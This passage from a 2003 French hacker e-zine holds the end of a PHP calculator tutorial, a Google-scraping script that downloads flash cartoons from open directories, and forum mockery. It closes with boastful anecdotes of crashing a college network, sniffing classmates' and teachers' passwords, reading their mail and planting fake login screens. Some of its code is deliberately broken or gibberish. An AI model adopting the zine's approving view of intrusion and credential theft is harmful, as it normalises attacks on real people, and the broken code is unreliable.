			if ((($express[$i]=="+")||($express[$i]=="-")||($express[$i]=="*")||($express[$i]=="/"))&&(($express[$i+1]=="+")||($express[$i+1]=="-")||($express[$i+1]=="*")||($express[$i+1]=="/"))){ //si le caractre est un oprateur est qu'il est suivi d'un autre oprateur (le caractre c'est $express[$i] et le suivant sa sera $express[$i+1]) 
				die("erreur fatale: erreur de syntaxe"); 
				//y'aura une erreur
			}
		}
}

((((((((((((((((((:Mais ou ts vous ? oups vous ts tombez:))))))))))))))))))))

Je crois que la seul dificult ici c'est la boucle for si vous ne le comprenez pas
relisez la page du manuel que j'ai copi si-dessus .

VI/La partie d'interprtation et de calcule:
1/<? if (Lecteur != Lamer){ Speak; }then {die('Lamer detected');} ?>
On coupera cette parti en deux :
-Une qui analysera l'expression pour dcouvrir ces termes :
(par ex: dans '12+48*9' : les termes sont 12, +, 48,* et 9)
Celle  si mettra tout les caractre  de type nombre dans une  mme  variable '$a'
jusqu'a tombe sur un oprateur par ex (l'expression utilise est la mme):
elle mettra '1' dans $a pis '2' ($a = $a.$express[$i])
puis quand elle tombera sur l'oprateur '+'  elle  copiera  la  variable  $a dans
$terme[$n] ou $n est son nombre ( dans notre exemple 12 est le premier  terme , +
est le deuxime...) et videra $a pour pouvoir prendre un nouvelle terme numrique
et ajoute 2 a $n(pour qu'on commence au prochain terme numrique (remarquez qu'on
saute le terme '+' ) ) pis aprs la fin de  la boucle on n'oublie pas de copie le
dernier terme (il n'est pas prcde d'oprateur )
-La deuxime partie comptera  le rsulta : mais les * et les / aurons la priorit
(pour comprendre cette parti lisez les commentaires du code)

Maintenant voici les nouvelles choses qu'on verra dans notre code :
---------------------------------------------------------------------------------
Les valeurs de retour
Les valeurs sont renvoyes en utilisant  une  instruction de retour  optionnelle.
Tous les types de variables  peuvent tre  renvoys, tableaux et  objets compris.

<?php
function carre ($num) {
    return $num * $num;
}
echo carre (4);   // affiche '16'.
?>
 
Vous ne pouvez pas  renvoyer plusieurs valeurs en mme temps , mais  vous  pouvez
obtenir le mme rsultat en renvoyant un tableau. 

<?php
function petit_nombre() {
    return array (0, 1, 2);
}
list ($zero, $one, $two) = petit_nombre();
?>
 
Pour retourner une rfrence d'une fonction , utilisez  l'oprateur & aussi  bien
dans la dclaration de la fonction que dans l'assignation de la valeur de retour.

<?php
function &retourne_reference() {
    return $uneref;
}
$newref =&retourne_reference();
?>
 
---------------------------------------------------------------------------------
(int)$a :
(int) serre a changer une variable de type char a une variable de type int
par ex :
$s = '123';
$m = (int)$s ; //$m est gale a 123 et $s est gale '123'
---------------------------------------------------------------------------------

2/Les grands secrets du 11 septembre :
Je l'ai conne pas
3/Quelle est la relation entre Ben Laden et SeriousMan:
Ceci est un message (coder bien sur) envoyer a Ben Laden:


-----------------The Final Infernal Major Fatal Soral Terrorist Code-------------

function type ($valeur){
	if (($valeur=='1')||($valeur=='2')||($valeur=='3')||($valeur=='4')||($valeur=='5')||($valeur=='6')||($valeur=='7')||($valeur=='8')||($valeur=='9')||($valeur=='0')){
		return 1; //si ce carctere est un nombre on retourne un 1
	}
	if (($valeur=='+')||($valeur=='-')||($valeur=='*')||($valeur=='/')){
		return 2; //et s'il est un operateur on retourne un 2
	}
}
$lengh = strlen($express); //La taille de l'expression
$n = 1; //compteur pour le tableau de terme 
$i = 0;//compteur pour nombre de caractere interpreter
for ($i = 0; $i <= $lengh; $i++){  //on passe tt les carctere sous un test
	if ((type($express[$i]))==1){  //si le caractere est un nombre
		$a=$a.$express[$i];  //on le met avec ses amis
	}
	if ((type($express[$i]))==2){  //et si il est un operateur
		$terme[$n]=(int)$a;  //on sauvegarde la suite de nombre qu'on a 
		                     //pour le moment comme un terme
		$n=$n+2;  //on saute un terme de l'expression (on saute 
		          //l'operateur)
		$a='';  //et on vide $a pour contenir le nouveau terme
	}
}
$terme[$n]=(int)$a; //On sauvegarde le dernier terme (y'a pas un operateur apres 
                    //lui)
$posi = 2; //la position elle est initialiser en deux (le premier operateur est 
           //en 2 (nombre pis operateur pis nombre..))


for ($i = 0; $i <= $lengh; $i++){  //le calcule sera par priorite (les / et * 
                                   //avant les + et -)
	if ((type($express[$i]))==2){  //donc on teste tout les caractere et 
	                               //des qu'on tombe sur 
		if ($express[$i]=='+'){ // un operateur de priorite on calcule 
		                        //le resultat
			$posi = $posi + 2 ; //du terme qui le precede et celui 
			                    //qui le suit et on met le resultat
		}                       // dans celui qui le suit pis en vide 
		                        //celuiqui le precede
		if ($express[$i]=='-'){ //mais avant cela on fait un test sur les 
		                        //case vide (terme videe)
			$posi = $posi + 2 ; //jusqu'on trouve le vrai terme 
			                    //suivant et on n'oublie
		}                         //pas d'ajouter 2 a la position ($posi) 
		                          //(c'est elle qui nous aide a 
		if ($express[$i]=='*'){ //naviguer
			for ($m=1;$terme[$posi-$m]=='';$m=$m+2){  //mais si on 
			                                          //tombe sur un 
			                                          //operateur qui 
			                                          //n'a pas de
			}                                         //prioriter , on 
			                                          //ne fait 
			                                          //qu'ajouter 2 
			                                          //a notre 
			                                          //position
			for ($s=1;$terme[$posi+$s]=='';$s=$s+2){
			}
			$terme[$posi+$s]=$terme[$posi-$m]*$terme[$posi+$s];
			$terme[$posi-$m]='';
			$posi = $posi + 2 ; 
			       
		}
		if ($express[$i]=='/'){
			for ($m=1;$terme[$posi-$m]=='';$m=$m+2){ //ici on cherche 
			}                                         //les terme 
			for ($s=1;$terme[$posi+$s]=='';$s=$s+2){  //valide
			}
			if ($terme[$posi+$s]==0){
				die ('erreur fatale: impossible de divisier par zero');  
				//a bas la division par zero
			}
			$terme[$posi+$s]=$terme[$posi-$m]/$terme[$posi+$s];  
			//on calcule le resultat ici: le dernier terme valide/le 
			//prochain terme valide
			$terme[$posi-$m]='';  //on vide le dernier terme valide 
			                      //qu'on a utiliser (pour qu'on le 
			                      //saute au prochaine tour du for)
			$posi = $posi + 2 ; //et on va a la prochaine position
		}
	}
}
$posi = 2;
for ($i = 0; $i <= $lengh; $i++){  //ici c'est la meme chose en remplacant 
	if ((type($express[$i]))==2){  //les * et les / par des + et -
		if ($express[$i]=='*'){
			$resulta = $terme[$posi+$s] ; 
			$posi = $posi + 2 ;
		}
		if ($express[$i]=='/'){
			$resulta = $terme[$posi+$s] ;
			$posi = $posi + 2 ;
		}
		
		if ($express[$i]=='+'){
			for ($m=1;$terme[$posi-$m]=='';$m=$m-2){
			}
			for ($s=1;$terme[$posi+$s]=='';$s=$s+2){
			}
			$terme[$posi+$s]=$terme[$posi-$m]+$terme[$posi+$s];
			$resulta = $terme[$posi+$s] ;
			$terme[$posi-$m]='';
			$posi = $posi + 2 ;
		}
		if ($express[$i]=='-'){
			for ($m=1;$terme[$posi-$m]=='';$m=$m+2){
			}
			for ($s=1;$terme[$posi+$s]=='';$s=$s+2){
			}
			$terme[$posi+$s]=$terme[$posi-$m]-$terme[$posi+$s];
			$terme[$posi-$m]='';
			$resulta = $terme[$posi+$s] ;
			$posi = $posi + 2 ;
		}
	}
}
echo '<h1>Le resultat est: '.$resulta.'</h1>';  //et on a enfin le resultat
echo '<a href= "calcul.htm" title= "Recommencer">Recommencer</a>';
?>
WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOW!!!!!!!!!!!!!

ps:remarque qu'on a mme pas pris la paine d'utiliser la  fonction d'affichage du
rsultat.
ps: En passant SeriousMan est Ben Laden.
ps: Vous trouverez le code complet avec la version complete de la zine (et peut 
etre aussi la version lite)
4/xercice(impossible):
C simple vous devez corriger ce code pour qu'il marche (vous n'avez pas le droit
de le changer compltement juste le corriger)
Les rponses seront envoyer a : seriousman@altern.org (il faut qu'elle soit 
commenter)
Le gagnant aura un abonnement pour les prochaine 1000 ans a mindkind (quelle 
torture)
et aura le prochain numro avant 0.000001 sec de sortie officiel

le code:
---------------------Danger Code incomprhensible--------------------------------
kdslkkj ,:;,dslkh  lk ;
eizfjl;:v ;
	[; ml, ;:;!, :!] 
dlk,k l	kj, lkm[
sd,f ;,:;,c ;  j	pjzemlk
 :;ljze oiho	ik , 
$ lk qe						ml,fkkfez:d,vs;:,v ,k^p; le
vkfdkv
 ,nfoi uuy 	
 , l	po	 jop	
$ mk
--------------------------------c'etait le code----------------------------------


--------------------------Voici le cadeau de papa-nol---------------------------
<?
$express = '55+6-482' ;  //ceci est l'expression qu'il faut interprter et donner 
                         //le rsultat
function type ($valeur){
	golbal $type; //cette fonction est juste pour gagner le temps
	if (($valeur=='1')||($valeur=='2')||($valeur=='3')||($valeur=='4')||($valeur=='5')||($valeur=='6')||($valeur=='7')||($valeur=='8')||($valeur=='9')||($valeur=='0')){
		$type=1;
	}
	if (($valeur=='+')||($valeur=='-')||($valeur=='*')||($valeur=='/')){
		$type=2;
	}
}
//c fini les commentaires ,je vous laisse bonne chance ;)
$n_terme=1; 
$lengh = strlen($express);
for ($i = 0; $i < $lengh; $i++){
	if (type($express[$i]=='1')){
		$a=$a.express[$i];
		if ($n_terme==1){
			$terme[$n_terme]=(int)$a;
		}
	}
	if (type($express[$i]=='2')){
		$terme[$n_terme]=(int)$a;
		$a='';
		$n_terme++;
		if (($express[$i]=='+')&&($n_terme!=1)){
			$oper='+';
			$n_terme--;
		}
		if (($express[$i]=='*')&&($n_terme!=1)){
			$oper='*';
			$n_terme--;
		}
		if (($express[$i]=='-')&&($n_terme!=1)){
			$oper='-';
			$n_terme--;
		}
		if (($express[$i]=='/')&&($n_terme!=1)){
			$oper='/';
			$n_terme--;
		}
		if(($terme[$n_terme]!=$terme[$n_terme-1])&&(($n_terme-1)!=0)){
			if ($oper=='+'){
				$terme[$n_terme]=$terme[$n_terme]+1;
			}
			if ($oper=='-'){
				$terme[$n_terme]=$terme[$n_terme]-1;
			}
			if ($oper=='*'){
				$terme[$n_terme]=$terme[$n_terme]*1;
			}
			if ($oper=='/'){
				$terme[$n_terme]=$terme[$n_terme]+1;
			}
	}
}
?>
-------------------Au je hais papa nol il m'a vole mon code---------------------

2/Essayer d'ajouter d'autres operateurs mathematiques a notre code ^, sin , cos .

VI/Conclusion:
Je souhaite que vous avez appris quelque chose en lisant ce tutorial ou mme  rie
un peu sur mes fautes  d'orthographes , les s oublies  , mais ASCII de merde et a
mes belles blagues :p .
Si vous voulez continuer a apprendre le php , prenez un tut  (un vrai cette fois)
tlcharger le manuel (il  est tres complet et clair) et  lisier du code , lisier
du code ,et coder , coder  ( essayer au moins ) , si vous  avez besoin de  l'aide
n'hsiter pas de me demander et j'essayerai de vous rpondre.
Vous pouvez trouver bc de site parlant du php en internet (chercher a google)mais
celle si une bonne liste que je visite rgulirement :

developper.com (c de tout les langages pas juste le php)
http://www.2113.ch/phplab (le php lab de fravia+)
phpinfo.net
http://www.phpcs.com
google.fr -----> c le meilleur ;)

                                                SeriousMan
                                                Fini le 9/9/03 a 00:49
						aprs 3 jour de travail
						intensif ;)
Contact:
mon email: seriousman@altern.org
mon icq: 288831805
IRC :   epiknet : #ioc et #newffr
	undernet: #mindkind.org & #activism
	shmeitirc.mefound.com: #fff & #[s.corp]




Ps: si vous avez pas compris Code my, my friend code me, coz i'm not the only one
i'm not the only one allez ecouter rape me de nirvana .



                          __
                         |  |
                       __|  |__
                      |__    __|
                         | | |
                         | | |
                         | | |
                         | | |
                         | | |
                         | | |
                         | | |
                         | | |
                      ___\ | /_______    
                     /    \_/     \  \   
                    /            \   \     Le pre nol n'existe plus
                   / _________   \   |     JE L'AI TUE
                   \/     (#) \  /   |                
                   /  (.)_  _  \/_   |      __________)\
                   |    @_ o   |  \_  \  . ()_______   |
                   |  __(_)__  |    \ /             |  \
                  /\_/       \_/\~~ / \             |___\
                 /     _____     \ ~\_/ 
                |    /___ _\      |
                |        \\       |        
                 \        \\      /
                  \        "     /       Fumer n'ai pas bon pour la sante
                   \__ _ __ ____/        <---- voici la preuve
                     \/\/\/\/\/



                         /|\
                          |
                          |
                    Les reste du pere nol

    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|          seriousman@altern.org          |    
                                '-------- - ----------- ------------ -----'
 
 
 
 
  < Dullaraweb >

  Dans la cathgorie mine d'or des pages web cheap,
  http://pages.globetrotter.net/ se mrite le tag XML d'or Mindkind
  pour les pages les plus affreuses.
  
  http://pages.globetrotter.net/apo-ti-caire/

  Le muse du gif anim (mouha)
  http://pages.globetrotter.net/yoansouy/
 
  Belle musique, beau background flash
  http://pages.globetrotter.net/loreal/
 
  On aime a les MIDIs, yeah!
  http://pages.globetrotter.net/gbgb/
  
  Cliquer sur "Site vtements" pis aprs aller voir le DEMO FLASH!
  http://pages.globetrotter.net/n_carbonneau/
  WEB Designer! HAHA
  
  Calvaire qui font dur sur la 3ime pic
  http://pages.globetrotter.net/cyrr/
  
  0dayz web-backd00rz (haha)
  http://pages.globetrotter.net/danville.ville/
  
  
  < / Dullaraweb >





    .-----------[MinDKinD100\#100.12]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 29/11/2003
    | .  "He kids, HTF now on google, hang there"      | - wyzeman
    |                           aka                    '------------- ----.
    |                               "gnagnagnagnagna gnagnagnagna gna..." | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 


Vous vous souvenez de l'article de __2 sur les recherches googlelienne
basee sur "index of /" whatever ? Et bien, l'article est un exemple
appliquer de cmment tirrer profit  l'aide  d'un  simple  script  en  
php de cette possibilit que google offre. Le produit en question demande 
 google de lui sortir la liste des index/ de site repertori par celui-ci
ou il est possible de downloader les fichier flash de la srie happy three
friend. Pour ce faire, la simple requte suivante a ete formuler.

"index of /" htf


Si vous voullez simplement profitez de la srie sans vous cassez la tete
copier collez le code php distribuez  la fin de cette article et dpcher
vous de le ./ picuriens que vous tes.


Si la mthode vous interresse un peu plus, vous pouvez bien entendu lire 
le reste de cette article. Comme vous vous en doutez, le gros de la job
consiste a trimer du html. 


La premiere etape consiste a retirer les url offert par google et de garder
ceux qui nous interresse. La methode que jai choisi est plutot simple. Nous 
pouvons en effet tres facilement retrouver des liens dans un source html 
par leur denominateur commun; ils sont tous designer par un tag html 
<A HREF> et lurl en question debute toujours par http://. en separant chaque
"mots" du code html a laide de la fonction explode(" ",$var) il ne reste 
plus qua comparer chaque mots a un template a lair de la fonction 
similar_text(). celle ci retourne en % le niveau de ressemblance entre 2 
string. dans le cas present il s'avre qu'une ressemblance a 50% avec la 
valeur suivante : "href=\"http://www. /htf\"> </a>" elimine tout ce qui n'est 
pas un url. Notez que je n'ai pas inclus le "<a" celui ci se retrouvant dans
l'array prcdant cre par la fonction explode(), il aurait t donc un 
facteur de dissemblance supplmentaire. Notez aussi que jai inclu /htf 
puisqu'il fait parti de la requte initial.


Comment differencier les bons url des mauvais ? 


Comme la majorit des url qui ne nous interresse pas sont des liens vers
des fonctions de google. il nous suffirat d'utiliser la meme technique
que prcdament pour s'en debarrass. Ainsi tout les liens qui 
ressembles au moin a 50% au template suivant : "href=\"www.google.ca\"> </a>"
sont discart. 

une derniere slection au niveau des liens s'impose alors, Maintenant que 
nous n'avons que les liens relis  notre requte en main, nous devons 
nous dbarrasser des lien sur des textes dans lesquel il y a une rfrence
a index of / (comme cette article par exemple. Pour y arriver il suffit de
regarder si le dernier caractre du lien est un /. Ainsi nous auront la
certitude que nous avons affaires a un listing de directory. 

La tache suivante consiste a ressortir le nom de fichier flash (.swf) de
chaque index et de les reliers a leur url dorigine (la plus par des serveur
web connu nutilise pas le nom de domaine pour creer les index de directory).
encore une fois cest tres simple, il suffit de separer la page en un array
represenant chaque mots, et verifier si la fin de se mots est l'extention
.swf. 2 explode() suffiront a cette tache. 

pour sassurer encore une plus grande certitude, jai ajouter quelque philtre
du genre, verifier si htf fesais parti du nom, si la grosseur des fichier
etais entre 500 et 1500 bytes. cest dernieres mesure on suffit a rendre a un
niveau acceptable le taux d'erreur possible (200 et + sans les filtres,a  +- 
20 avec). 


eliminer les doublons.

pour ce faire jai en premier temps enlever les fichier qui portais le meme nom. 
ensuite jai ete seduit par lidee dutiliser une ressemblance a 90 % avec le nom
dorigine, on evite ainsi la plus par des doublons. jaurais pu aussi verifier si
les size etais identique, mais jai preferer men abstenir au cas ou 2 episode 
different aurais aproximativement la meme grosseur. evidament, maintenant 
qu'on as les fichiers, c'est facile de verifier, mais puisqu'on a les fichiers, 
as t'on vraiment envie de vrifi ?



remplacer la premire ligne du code par ledroit ou se trouve votre interpreteur
php. fonctionne aussi sous cygwin (ie : /cygdrive/c/php/php.exe).

-----------------------------------htfleecher.php-------------------------------------
#!/usr/local/bin/php/php.exe
<?PHP
//htfleecher v1.0 
//by Wyzeman
//someday

echo "
      /\      /\ ___   _____ __  ______
     / _\    /_ \\\   \\\     \\\ \\\  __  \
    / /        \ \\\   \\\   _ \\\ \\\\\  \\  |      /|||||\\
   /   \ *  * /   \\\   \\\  \\\ \\\ \\\\\  |  |   _|       |_
  /     \    /     \\\   \\\  \\\    \\\\\__|  | (G|(*) (*) G)
 /    /\ \  / /\    \\\___\\\__\\\____\\\_____/o00o--(_)--o00o---,
 \   \  \ \/ /  /   //| /  /   /   //   | /   //_   \ |      |
  \   \  \  /  /   // |/  /   /   //    |/   /// \   | \    /
   \   \  \/  /   //     /   /   //         ///  |  |   \__/
    \  /      \  //  |\  \  /   //   /|    ///__/  |      _
     \/        \//___| \__\/___//___/ |___//_____ /      |_|\r\n";
echo "mindkind software project : Priceless solution for low profile budget\r\n"; 
echo "Htf Leecher v1.0 by Wyzeman\r\n";
echo "wyzeman@mindkind.org\r\n";
if (version_compare(phpversion(),"4.3.0","<") == 1)  die("this software require at least php 4.3.x to run\r\n");
ini_set('max_execution_time',"99999");
define ('MAXPOWER', 5);
$htf = New htfleecher();
$y = 0;
echo "asking Google for \"index of /\" htf\r\n";
for ($x=0;$x<=MAXPOWER;$x++)
	{
	$y = $x * 10;
	$google = fopen("http://www.google.ca/search?q=%22index+of+/%22+htf&hl=en&lr=&ie=UTF-8&oe=UTF-8&start=".$y."&sa=N", "r");
	$page=$htf->read_page($google);	
	fclose($google);
	}
$htf->link_extractor($page);
$htf->fetch_htf_page($htf->parse_url());
$htf->fetch_htf_swf();

class htfleecher
	{
	var $page;
	var $ahref;
	var $ggmatch;
	var $url;
	var $mimetype;
	var $swf;
	var $htf;
		
	function htfleecher()
		{
		$this->page="";
		$this->ahref="href=\"http://www. /htf\"> </a>";
		$this->ggmatch="href=\"www.google.ca\"> </a>";
		$this->url=array();
		$this->mimetype=".swf";
		$this->swf=array();
		$this->htf="htf";
		}		
		
	function read_page($google)
		{
		while (!feof($google))
			{
			echo ".";
			$this->page=$this->page.fread($google,1024);
			}	
		echo "\r\n";		
		return($this->page);
		}
		
		
	function link_extractor($page)
		{
		$y=0;
		$z=0;
		$secondtrim=array();
		$firsttrim=explode(" ", $page);
		for ($x=0;$x<count($firsttrim);$x++)
			{
			//sleep(1);
			similar_text($firsttrim[$x], $this->ahref, $res);
			if (number_format($res, 0) > 50) 
				{
				if ($this->is_not_find($firsttrim[$x], $secondtrim))
					{
					$secondtrim[$y]=$firsttrim[$x];
					$y++;
					}
				//echo $firsttrim[$x]." match at ".$res."\r\n";				
				}
			}
		for ($x=0;$x<count($secondtrim);$x++)
			{					
//			echo $secondtrim[$x]."\r\n";
			similar_text($secondtrim[$x], $this->ggmatch, $res);
			if (number_format($res,0) < 50)
				{
				$this->url[$z] = $secondtrim[$x];
				$z++;
				//echo $secondtrim[$x]." match at ".$res."\r\n";
				}
			}		
		}
		
	function is_not_find($challenger, $dejala)
		{
		$ret=TRUE;
		for ($x=0;$x<count($dejala);$x++)
			{
			//echo $challenger." VS ". $dejala[$x]."\r\n";
			if ($challenger == $dejala[$x])
				{					
				$ret=FALSE;
				}
			}
		return($ret);
		}
	
	function is_not_like($challenger, $dejala)
		{
		$ret=TRUE;		
		for ($x=0;$x<count($dejala);$x++)
			{
			$file=explode("/", $dejala[$x]);			
			//echo $challenger." VS ". $dejala[$x]."\r\n";
			$ish=$file[count($file) - 1];
			similar_text($challenger, $ish, $res);					
			if (number_format($res,0) > 86)
				{
				//echo $challenger." match ".$ish." at ".$res."\r\n";
				$ret=FALSE;
				}
			}
		return($ret);		
		}

	function show_url()
		{
		for ($x=0;$x<count($this->url);$x++)
			{
			echo $this->url[$x]."\r\n";
			}
		}

	function parse_url()
		{
		for($x=0;$x<count($this->url);$x++)
			{
			//echo substr($this->url[$x], 5)."\r\n";
			$this->url[$x] = substr($this->url[$x], 5);
			}
		for ($x=0;$x<count($this->url);$x++)
			{
			$shrug=explode(">",$this->url[$x]);
			//echo $shrug[0]."\r\n";
			$this->url[$x] = $shrug[0];
			//echo $this->url[$x]."\r\n";
			}
		return($this->url);
		}
	
	function fetch_htf_page($url)
		{
		$y=0;	
		for($x=0;$x<count($url);$x++)
			{
			//echo strrpos($url[$x], "/")." VS ".strlen($url[$x])."\r\n";			
			if ((strrpos($url[$x], "/") + 1 )== strlen($url[$x]))
				{
				echo "looking for new HTF file on ".$url[$x];
				$this->page="";
				$fetchurl = fopen($url[$x],"r");
				$page=$this->read_page($fetchurl);
				fclose($fetchurl);
				$y=$this->swf_finder($page, $url[$x], $y);
				}			
			}
		//echo $page;
		}
	
	function swf_finder($page, $url, $y)
		{		
		$page=strip_tags($page);
		$shrug=explode(" ", $page);
		for ($x=0;$x<count($shrug);$x++)
			{
			similar_text($shrug[$x], $this->mimetype, $res);
			if (number_format($res, 0) > 40)
				{	
				similar_text($shrug[$x], $this->htf, $res);
				if (number_format($res,0) >30)
					{
					//echo $shrug[$x]. " = ".$res."\r\n";	
					if ($this->is_not_find($url.$shrug[$x], $this->swf))
						{
						if ($this->is_not_like($shrug[$x], $this->swf))
							{					
							echo "link ".$shrug[$x]." are probably (".number_format($res, 0)."%) an HTF File\r\n";
							$this->swf[$y] = $url.$shrug[$x];
							//echo $this->swf[$y]." are probably (".number_format($res, 0)."%) an HTF File\r\n";
							$y++;
							}
						}
					}
				}

			}
		return($y);
		//echo $page;
		}
	
	function fetch_htf_swf()
		{
		for($x=0;$x<count($this->swf);$x++)
			{

			echo "downloading ".$this->swf[$x];
		
			$shrug=explode("/",$this->swf[$x]);						
			$filename=$shrug[count($shrug) - 1];
			//echo $filename."\r\n";				
			$this->page="";
			@$link=fopen($this->swf[$x],"r");
			if ($link) 
				{
				$htf=$this->read_page($link);
				fclose($link);								
				if ((strlen($htf) / 1024) > 500 && (strlen($htf) / 1024) < 1500)
				 	{
				 	$file=fopen($filename,"w");
				//echo strlen($htf)."\r\n";
					echo "saving file\r\n";
					fwrite($file,$htf);
					}
				else
					{
					if ((strlen($htf) / 1024) < 500)
						{
						echo "discarding file, size is too small to be an HTF\r\n";
						}
					else
						{
						echo "discarding file, size si too big to be an HTF\r\n";
						}
					}
				fclose($file);				
				}
			}
			
		}

	
	}


	
	
?>

-----------------------------------htfleecher.php-------------------------------------  


    .----- - -----------------------.
    |         /MinDKinD100      .---'----------- ---------- ------- ------.
    '-------- - -------------- -|            wyzeman@mindkind.org         |    
                                '-------- - ----------- ------------ -----'





  < Le top 2 des caves sur le forum de 2600mtl 2003 >

  2) Guest!
  
  -
  wyzeman  	Sat Dec 20, 2003 3:13 pm 
    c pas un peu faire de lelitisme faire ca soit meme quand ya des unpacker ?
  
  Guest 	Sat Jan 03, 2004 9:58 am 
    Difference entre les conaissances  et l'ignorant qui appelle  le conaissant
    l'elite et qui convertis ce qu'il ne comprend pas en elitisme. c'est  clair
    qu'il y en a des chanceux qui utilise des unpackers hehe

    des  unpacker ..apres  c'est quoi  la troupe  de mindkind  avec leur  super
    project www.mindkind.org/MKfudgepacker (defeat any unpacker and dump's  you
    a shitload of shit)

    hehe
  -
  Guest apiiq.qc.ca  	Thu Dec 11, 2003 12:01 pm
    Va te faire garrocher des chats par une vielle madame wyzeman
  -
  
  1) binf!
  
  -
  beenph  	Wed Nov 26, 2003 3:59 pm 
    hehee vous avez pas compris quand j'ai dis que c'etais une peste

    "fuck u phaust mange moi la graine"

    Il est peut-etre trop tard pour lui dire d'aller ce coucher et faire  c'est
    devoir il a enregistrer le domaine qc2600.org maintenant hehehhe


    mais bon  tout ca  est juste  plaisant a  regarder aller  j'ai hate de voir
    qc2600 l'an prochain je  paris un 100$ que  ca existe pu ou  que c'est plus
    wyzeman qui en sera le chef  et qu'alors une nouvelle vague de  rat viendra
    voler le pris de not scene whore.

    Seul  prix  de  consolation  que l'on  peut  avoir  c'est  que wyzeman  est
    maintenant accompagner de lastcall et init_null , je m'enhui du duo __2  et
    wyzeman qui etaient tout de meme de pure racailles .

    Mais bon faut peut-etre comprendre que wyzeman est rendu un jedi maintenant
    et  qu'il doit  lui meme  former ces  padone pour  qu'un jour  sont empire
    subsiste au temps et que dans 5 ans il y ais tjrs un zine mal traduit  avec
    des  ascii douteux  generer a  l'aide de  code qui  existe et  prouve leur
    supremacie du whoring de la "pas de scene dans ton cas" du quebec ;)
  -
  beenph  	Wed Nov 19, 2003 4:15 pm 
    Je ne fais que partager je  ne veux rien changer mais c'est  votre destiner
    de  choisir..  la  mauve  ou  la  rose  ..(pour  ceux  qui  font  parti des
    ballerines)


    hehehe  ha non  c'est vrai  depuis le  debut je  parle de  lastcall ...hey
    lastcall je me croyais vivement paranoiaque ..mais je crois que tu es  pire
    que moi ..ca  te dirais que  l'on consulte ensemble  , j'ai un  bon medecin
    j'attend juste un copain pour prendre la pillule rose et hummm je te laisse
    deviner
  -
  
  !"%!*(!*$(*/$*!(*$!$!"*%(*%"
  FATAL ERROR.
  CANNOT PROCESS FORUM NO MORE: 
  BULLSHIT OVERFLOW.
  !$&*/(*$!(/$*(!*$(*$(*$(%"$%
  

  < ---------------------------------------------- >
  
  
        http://www.mtl2600.org/forum/
  (Eh non ya pas juste dla merde sur le forum, la pluspart
  du temps c'est instructif et rempli d'opinions songs )





     .-----------[MinDKinD100\#100.13]------- ----------. [M]ind[K]ind #100
    |                                        ;         | - 25/12/03
    | .           .hack_history                        | - Anonymous
    |                           aka                    '------------- ----.
    |                               spcial 1 pour 1 sur les stories      | 
    |        _____                                               ;        |
    '--------------------- ----- -[again, again n again.]---- ------------' 
   

Une story c'est mieux qu'un tien de 2 mieux vaut tu l'auras (drug buzz).

On va en profiter pour  faire un petit call for  papers ici la, alors ceux  qui
ont  des  histoires  (surtout  de  phreaking  a  serait  kewl)  envoyez  a  
mkd@mindkind.org, a restera anonyme, et on peut mme "retaper" l'histoire pour
vous (pour liminer la reconnaissance calligraphique! heh).

+------------------------------------------------------------------------------+

- Hack stories du cgep

Voici un  paquet de  petites anecdotes  de mon  temps cgepien,  c'est pas mal
garoch sans trop de structure et c'est seulement une petite parties de ce qui
s'est pass. On va en garder pour les autres zines, hhh...

Quand j'tais au cgep, le gros fun c'tait de faire planter le plus de  monde
sur  le  rseau et  de  owner le  plus  de box,  souvent  de faon  lame  (ie.
backorifice, netbus, wuftpd exploit, etc). Pour faire chier l'admin on s'tait
amuser avec le bon vieux winnuke et puis a fonctionn pendant assez longtemps
jusqu' temps qu'ils  se rveillent et  qu'ils dcouvrent ce  qu'est un patch.
Quand je parlent de "ils", je  parle bien sr des administrateurs rseaux,  ou
tout simplement appels,  les deux incomptents.  C'est le genre  d'admins qui
savent seulement crer des users dans  Novell Netware 4.11 et buster le  monde
qui envoie des messages broadcast avec  send.exe. En tout cas, pour revenir  
mon histoire, c'tait ben le fun de  voir les bsod (blue screen of death)  sur
les  crans  des noobs  de  premire session.  Ensuite  est venu  le  temps de
teardrop, land, nestea et autres exploits magnifiques du monde de unix.  Alors
ce qu'on s'tait fait  c'tait un petit script  shell qui crashait toutes  les
boxs de l'cole, alors toutes  connectes directement au net avec des adresses
IP  publiques. On  runnait le  script   15:00   chaque jour,  tout le  monde
perdait leurs travaux, on riaient comme  des fous pis on se pensait  l33t (ben
pas vraiment mais entk). Disons que les deux cons dans le bureau vitr se sont
cass la  tte en  esti pour  savoir c'tait  quoi qui  se passait. Plus tard,
quand ils ont refaite le network  avec du NAT c'tait encore plus  l'fun parce
que les IP taient  assigns de faon   ce que la premire  addresse tait le
bureau en face  gauche, la deuxime le prochain bureau  droite, etc...  Donc
c'tait super facile de targetter  nos chers amis en techniques  policres, et
autres cons du cours d'info, genre le prof. 

Comme le rseau  tait pas trop  fort ct scurit,  c'tait assez facile  de
sniffer les passwords de  tout le monde sur  le LAN. On s'est  bien amus avec
les passwords  hotmail des  poupounnes et  des ginos  de l'cole  mais le plus
drle c'tait de chopper  les examens et les  mots que les profs  s'envoyaient
entre eux. On a mme dcouvert  une mini-ring de pr0n sur le  rseau scolaire,
on voit   quoi sont payer  nos profs, hh.  Un petit sniffer  et du temps  
perdre taient  tout ce  qui nous  fallait pour  capturer une  bonne batch  de
passwords. Rendu  chez nous,  j'me settais  Outlook Express  avec un paquet de
profiles avec comme option  check message every 1  minute et leave message  on
server d'activ. Je revenais  chez nous le soir  pis je checkais toute  ce que
les  profs reevait,  des heures  de plaisir...  Anecdote sur  le sniffage  de
passwords,  notre  cgep  avait  un  vieux  VAX  avec  les  dossiers tudiants
(maitenant rempla par une database SQL en Windows 2000). On s'est amus  pas
mal    hijacker  les sessions  de  l'admin  pis   jouer  un  peu dans  leurs
applications.  tonnament,  apres des  heures  d'attente devant  dsniff,  on a
jamais  russi    pogner l'admin  quand  y  se loggait.  Aussi  ce  qui tait
intressant, c'tait le password de leur cisco 4000 qui tait plaintext  crit
dans le  motd, c'est  l que  j'ai toucher   du  cisco pour la premire fois,
hh...

Comme tout  le monde,  on a  toute cod  notre propre  fake login  screen pour
Novell, question de  se fournir des  passwords trs utiles  par la suite  pour
faire d'autre coup.  J'avais pas encore  dcouvert checknul.exe dans  ce temps
